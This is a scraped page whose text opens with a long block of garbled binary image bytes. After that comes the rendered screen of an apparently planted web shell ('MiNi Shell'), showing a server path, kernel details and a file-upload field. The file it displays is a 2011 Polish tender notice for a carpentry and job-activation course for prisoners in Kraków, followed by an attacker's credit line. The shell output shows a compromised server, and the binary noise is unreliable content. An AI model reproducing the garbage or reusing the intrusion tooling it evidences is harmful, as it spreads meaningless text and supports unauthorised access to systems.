JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20110222/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20110222/61443-N-2011.html

<p class="kh_header"><b>Kraków: kurs przyuczający do zawodu stolarza meblowego wraz z aktywizacją zawodową</b><br>
<b>Numer ogłoszenia: 61443 - 2011; data zamieszczenia: 22.02.2011</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zakład Karny Kraków Nowa-Huta , ul. Spławy 2, 31-988 Kraków, woj. małopolskie, tel. 012 643-83-00, faks 012 6451554.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: jednostka organizacyjna nie posiadająca osobowości prawnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> kurs przyuczający do zawodu stolarza meblowego wraz z aktywizacją zawodową.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Wspólny Słownik Zamówień CPV 80530000-8 Usługi szkolenia zawodowego.
1. Przedmiotem zamówienia jest przeprowadzenie:  
Kursu przyuczający do zawodu stolarza meblowego - Łączny czas trwania kursu - 140 godzin lekcyjnych (w tym 20 godzin zajęć teoretycznych i 120 godzin zajęć praktycznych) obejmujących zakres wiadomości teoretycznych i zajęcia praktyczne. Dzienna liczba godzin dla jednego uczestnika nie powinna przekraczać 12 godzin lekcyjnych (godzina lekcyjna to 45 minut). 
Szkolenia z zakresu aktywizacji zawodowej - Łączny czas trwania szkolenia - 20 godzin lekcyjnych obejmujących zakres wiadomości teoretycznych i zajęcia praktyczne. Dzienna liczba godzin dla jednego uczestnika nie powinna przekraczać 12 godzin lekcyjnych (godzina lekcyjna to 45 minut). 
Kurs i szkolenie może dobywać się w dniach od poniedziałku do piątku w godz. od 8.00 do 18.00. Zamawiający dopuszcza odbywanie się zajęć w soboty lub w innych godzinach niż w/w  po wcześniejszym uzgodnieniu przez Wykonawcę  i otrzymaniu akceptacji ze strony Zamawiającego. W przypadku wstąpienia niezależnych od Wykonawcy i Zamawiającego czynników uniemożliwiających przeprowadzenie zajęć termin realizacji zamówienie może zostać wydłużony przez Zamawiającego do 7 dni.     
2. Liczba beneficjentów ostatecznych (uczestników) kursu i szkolenia - 12 osób 
3. Kurs i szkolenie odbywać się będzie na terenie Zakładu Karnego w Krakowie Nowej Hucie ul. Spławy 2, w skazanym przez Zamawiającego miejscu.
4. Celem kursu przyuczającego do zawodu stolarza jest nabycie przez uczestników wiedzy teoretycznej i umiejętności praktycznych w zakresie w/w przyuczenia do zawodu oraz uzyskanie stosownych uprawnień. 
5. Celem szkolenia z zakresu aktywizacji zawodowej jest nabycie przez uczestników wiedzy m.in.: z zakresu poruszania się na rynku pracy, umiejętności wyszukiwania informacji edukacyjno - zawodowej, metod rekrutacji i selekcji pracowników, tworzenia własnej ścieżki rozwoju kariery zawodowej, autoprezentacji, komunikacji asertywności oraz kształtowania poczucia własnej wartości 
6. W trakcie trwania kursu na zajęciach praktycznych każdy z uczestników wykona ćwiczenia praktyczne pozwalające nabyć mu niezbędne umiejętności m.in. z zakresu:
a)odpowiedniego przygotowanie miejsca pracy z zachowaniem zasad ergonomii, bhp i zgodnie z przepisami  przeciw pożarowymi
b)nabycia umiejętności posługiwania się narzędziami do ręcznej i mechanicznej obróbki drewna
c)nabycia umiejętności z zakresu projektowania, czytania rysunku technicznego, doboru odpowiednich materiałów (gatunki drewna, materiały drewnopodobne, okucia, elementy metalowe i konstrukcyjne), ich odpowiedniej obróbce i montażu (klejenia, skręcania) stosownie do przeznaczenia
d)wykonania w ramach ćwiczeń na zajęciach praktycznych projektów wraz z pełnym montażem m.in.:  szaf wolnostojących ubraniowych i aktowych, stołów, stolików pokojowych, ławek szkolnych, szafek, biurek, półek wiszących, regałów wolnostojących, wieszaków wiszących i innych rzeczy pozwalających nabyć umiejętności z zakresu przyuczenia do zawodu stolarza meblowego 
e)w ramach zajęć uczestnicy powinni posiąść umiejętności z zakresu podstaw projektowania i zasad montażu mebli na wymiar (np. szafy do zabudowy, szafy przesuwne) 
Wykonawca w ramach zajęć praktycznych kursu przyuczającego do zawodu stolarza meblowego zobowiązany jest dostarczyć taką ilość i różnorodność materiału, która pozwoli nabyć uczestnikom m.in. w/w umiejętności z uwzględnieniem ich indywidualnych predyspozycji.      
7. Zajęcia praktyczne mogą odbywać się w grupach, przy założeniu, że każdy z uczestników kursu będzie brał udział w min 60 godzinach zajęć praktycznych.
8. Zamawiający zapewnia miejsce do nauki teoretycznej i zajęć praktycznych. 
9. Zamawiający udostępni bezpłatnie sprzęt zakupiony z środków finansowych projektu do realizacji kursu i szkolenia. Informację na temat rodzaju i ilości posiadanego sprzętu przez Zamawiającego zawiera załącznik do niniejszego opisu przedmiotu zamówienia. Wykonawca jest zobowiązany do zapewniania na czas trwania kursu i szkolenia pozostałego sprzętu, który jest niezbędny do zrealizowania przedmiotu zamówienia.   
10.Wykonawca zapewnia w ramach zajęć teoretycznych i praktycznych uprawionych wykładowców oraz instruktorów.  Szkolenie z zakresu aktywizacji zawodowej musi być przeprowadzone przez osobę posiadającą licencję doradcy zawodowego lub ukończone kierunkowe studnia podyplomowe (w zakresie doradztwa zawodowego). 
11.W szczególnych przypadkach Zamawiający dopuszcza zmianę osób prowadzących zajęcia pod warunkiem zapewnienia, iż osoba zastępująca posiada te same lub wyższe kwalifikacje. 
12. Zamawiający zastrzega sobie możliwość przed podpisaniem umowy, wglądu do dokumentów potwierdzających kwalifikacje osób prowadzących zajęcia w ramach przedmiotu zamówienia.   
13. Wykonawca poniesie wszystkie koszty związane z organizacją realizacji przedmiotu zamówienia.
14.Wykonawca na własny koszt zobowiązuje się do zapewnienia materiałów dydaktycznych/szkoleniowych na zajęcia teoretyczne i szkolenie z zakresu aktywizacji zawodowej, materiałów szkoleniowych na zajęcia praktyczne oraz urządzeń, sprzętu, narzędzi (które są niezbędne do wykonania przedmiotu zamówienia, a Zamawiający ich nie posiada) i materiałów eksploatacyjnych (w tym również do urządzeń i sprzętu zakupionego przez Zamawiającego ze środków finansowych projektu)  niezbędnych do przeprowadzenia kursu i szkolenia. 
15.Wykonawca na własny koszt zobowiązuje się do zapewnienia stosownej odzieży roboczej wraz z obuwiem i środkami ochrony osobistej. 
16. Koszt zakupu materiałów niezbędnych do przeprowadzenia przedmiotu zamówienia musi stanowić od 35% do 40% całkowitej wartości umowy. Wykonawca zobowiązany jest do udokumentowania wysokości poniesionych kosztów na zakup tychże materiałów.
17. Osoba, która ukończy kurs i szkolenia oraz zdobędzie odpowiednią wiedzę teoretyczną i praktyczną, otrzyma od Wykonawcy zaświadczenie o ukończeniu kursu przyuczającego i szkolenia z zakresu aktywizacji zawodowej wydanego na podstawie Rozporządzenia Ministra Edukacji i Nauki z dnia 3 lutego 2006 r. w sprawie uzyskania i uzupełniania przez osoby dorosłe wiedzy ogólnej i kwalifikacji zawodowych w formach pozaszkolnych (Dz. U. Nr 31, poz. 216 z 2006 r.).
18. Wykonawca zobowiązuje się na własny koszt do posprzątania oraz pozostawiania w stanie niepogorszonym miejsca, w którym odbywały się zajęcia praktyczne w ciągu trzech dni od daty ich zakończenia. 
19. Zamawiający dopuszcza możliwość pozostawiania przez Wykonawcę efektu trwałego zajęć praktycznych, wykonanego przez uczestników kursu.
20. Wykonawca na własny koszt ubezpieczy (ubezpieczenie NNW) w niezbędnym zakresie każdego uczestnika kursu i szkolenia.
21.Wykonawcy przed przystąpieniem do realizacji zamówienia przedstawi do wglądu dokument potwierdzający ubezpieczenie osób skierowanych na kurs.   
22.Wykonawca przeprowadzi na własny koszt stosowne badania lekarskie dla 14 osób w siedzibie zamawiającego.
23. Koszt szkolenia z zakresu aktywizacji zawodowej nie może przekroczyć 17,5% ogólnej wartość brutto przedmiotu zamówienia.  
24. Przedmioty uznane przez Zamawiającego za niebezpieczne mogą być używane na terenie jednostki zgodnie z obowiązującymi przepisami Zakładu Karnego w Krakowie Nowej Hucie i tylko w godzinach wyznaczonych przez Zamawiającego.    
25. Zamawiający zastrzega sobie prawo unieważnienia postępowania o udzielenie zamówienia publicznego i  odstąpienia od podpisania umowy dot. przedmiotu zamówienia, w przypadku nie otrzymania środków finansowych
26. Termin wykonania zamówienia całości:. 08.04.2011.</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 80.53.00.00-8.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 08.04.2011.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>na podstawie złożonego oświadczenia - spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>na podstawie złożonego oświadczenia - spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>na podstawie złożonego oświadczenia - spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>na podstawie złożonego oświadczenia - spełnia/nie spełnia</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>na podstawie złożonego oświadczenia - spełnia/nie spełnia</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
</li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

</ul></li>
<li>
</li>
</ul>

<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.sw.gov.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Zakład Karny w Krakowie Nowej Hucie 
Kraków 31-988 ul. Spławy 2.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 02.03.2011 godzina 10:30, miejsce: Zakład Karny w Krakowie Nowej Hucie 
Kraków 31-988 ul. Spławy 2.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> do 01.04.2011.</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Zamówienie obejmuje przeprowadzenie kursu przyuczającego do zawodu stolarza wraz ze szkoleniem z zakresu aktywizacji zawodowej dla Beneficjentów Ostatecznych, którymi będą osadzeni w Zakładzie Karnym w Krakowie Nowej Hucie, w związku z realizacją przez jednostkę projektu Cykl szkoleniowo - aktywizacyjny służący podniesieniu kwalifikacji zawodowych osób pozbawionych wolności oraz przygotowaniu ich powrotu na rynek pracy po zakończeniu odbywania kary pozbawienia wolności współfinansowanego ze środków Europejskiego Funduszu Społecznego w ramach Poddziałania 1.3.4 Programu Operacyjnego Kapitał Ludzki 2007-2013 ..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com